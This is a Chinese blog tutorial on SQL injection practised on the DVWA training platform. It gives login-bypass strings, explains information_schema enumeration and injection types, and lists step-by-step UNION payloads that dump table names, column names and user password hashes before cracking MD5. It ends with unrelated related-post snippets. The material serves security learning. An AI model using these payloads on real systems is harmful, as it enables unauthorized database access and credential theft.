首页 > 数据库 >网络安全之SQL注入基于DVWA平台

网络安全之SQL注入基于DVWA平台

时间:2023-07-27 11:24:09浏览次数:32  
标签:网络安全 name 数据库 DVWA SQL table 注入 select schema

弱口令

SQL注入

万能密码

admin'-- '

admin'#

万能用户名

xxx' or 1=1 limit 1 -- -

脱库

一库:information_schema

三表:

  1. schemata 表:存放所有数据库信息

  2. tables 表:存放所有表信息

  3. columns 表:存放所有字段信息

六字段:

  1. schemata表的 schema_name 字段:存放具体的数据库名

  2. tables表的 table_name 字段:存放具体的表名

  3. tables表的 table_schema 字段:存放表所在的数据库

  4. columns表的 column_name 字段:存放具体的字段名

  5. columns表的 table_name 字段:存放字段所在的表名

  6. columns表的 table_schema 字段:存放字段所在的数据库名

SQL注入的类型

根据请求方式的不同可以分为

  1. GET请求方式注入

  2. POST请求方式注入

根据参数的数据类型可以分为

  1. 数值型注入

  2. 字符型注入

  3. 搜索型注入

根据注入后的回显情况

  1. 报错型注入

  2. 联合查询注入

  3. 布尔型注入

  4. 基于时间的注入

显示位数的判断

通过order by子句可以判断查询结果的显示位

联合查询

union select

联合查询的关联表显示数一样的情况下

只有可以使用union的情况下的注入

联合查询注入的探测

首先判断是否存在注入点以及注入点类型

第一种判断输入:1‘报错肯定存在注入漏洞

第二种判断输入1 and 1=1和1 and 1=2如果回显相同则存在字符型注入,如果数值回显不同则说明存在数值型注入。

联合查询漏洞利用

脱取数据库名

判断有几个显示位

使用ouder by子句查看

1' union select 1,database() -- 

image-20230727102252971

获取到数据库名

脱取数据库表名

payload:

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') --

image-20230727103450722

脱取数据库字段名

-1' union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_schema='dvwa' AND table_name='users') -- -

image-20230727110029623

脱取数据库的字段值payload

1' union select 1,(select group_concat(concat_ws("~",user,password)) from dvwa.users) -- -

image-20230727110155016

使用MD5解密工具进行解码操作

image-20230727110845609

标签:网络安全,name,数据库,DVWA,SQL,table,注入,select,schema
From: https://www.cnblogs.com/yizhimumua/p/17584446.html

相关文章

  • plsql-同义词
    同义词:同义词是对象的别名,不占用任何实际的存储空间,只在oracle数据字典中保存其定义描述,在使用同义词时,oracle会将其翻译为对象的名称用途:简化sql语句隐藏对象的名称和所有者为分布式数据库的远程对象提供位置透明性提供对数据库对象的公共访问创建数据库链......
  • Java基础和MySQL
    Java基础==和equals的区别==比较的是值是否相等。==作用于基本数据类,他比较的是内容==作用于引用数据类型,比较的是地址值equals比较的是对象是否是同一个对象,比较的是对象的内容equals()方法存在于Object类中,在没有重写之前和==是一样,也是比较的是引用数据类型的地址......
  • pgsql备份工具:pg_rman在Linux下的安装、设置与使用
    https://blog.csdn.net/Absurdreal/article/details/128872628?spm=1001.2101.3001.6650.8&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-8-128872628-blog-128017299.235%5Ev38%5Epc_relevant_sort&depth_1-utm_sou......
  • MySQL- 3
    Smiling&Weeping----爱你一个人就好像创造一种信仰侍奉着一个随时会陨落的神第三章复杂一点的查询之前介绍了sql基本的查询用法,接下来介绍一些相对复杂的用......
  • Debian11 TAR包安装MySQL8.0
    MySQL8下载地址访问https://downloads.mysql.com/archives/community/版本选择8.0.32,操作系统选择Linux-Generic,操作系统版本选择Linux-Generic(glibc2.17)(x86,64-bit);选择CompressedTARArchive,MinimalInstall点击下载,或者使用下面的URL直接下载https://cdn.my......
  • grafana9.5 使用MySQL存储面板数据
    使用MySQL存储Grafana9.5面板数据Grafana是一个流行的开源数据可视化和监控工具,它支持各种数据源来生成漂亮的仪表板。其中一个常用的数据源是MySQL数据库。本文将介绍如何在Grafana9.5中使用MySQL存储面板数据,并提供相应的代码示例。安装Grafana9.5首先,我们需要安装Grafana......
  • grafana mysql 饼图
    Grafana与MySQL饼图的可视化引言Grafana是一款流行的开源数据可视化工具,可以将各种数据源中的数据转化为丰富的图表展示。MySQL是一种常用的关系型数据库,被广泛应用于各种应用程序中。本文将介绍如何使用Grafana将MySQL中的数据可视化为饼图,并提供相应的代码示例。步骤步骤1:安......
  • Win11下MySQL开机自启失效排除思路及解决
    问题描述MySQL服务设置了自启仍然无法启动错误排查上次关机前数据库仍可用,无不良操作,初步排除数据库自身问题设置了开机自启,所以开机时系统调用了开机启动,但失败了,查看windows系统日志win+r输入eventvwr.msc回车根据开机时间定位到错误,可知是ntdll.dll模块的问题尝试用......
  • MySQL新增数据,修改数据,删除数据
    连接本地mysql语句mysql-hlocalhost-uroot-prootDML-介绍DML英文全称是:用来对数据库中表的数据记录进行增删改操作。增加使用insert删除使用delete修改使用update新增语法:给指定字段添加数据【实际中使用很多】新增语法:insertinto表名(字段1,字段2)valu......
  • java sqlserver如何处理精度丢失
    Java与SQLServer结合使用时,可能会出现精度丢失的问题。这个问题主要是由于Java中的double和float类型的数据精度限制导致的。在处理需要保持精度的数据时,可以采用以下几种方法来解决。一、使用BigDecimal类BigDecimal类是Java中用于处理高精度数值计算的类,可以避免精度丢失。在......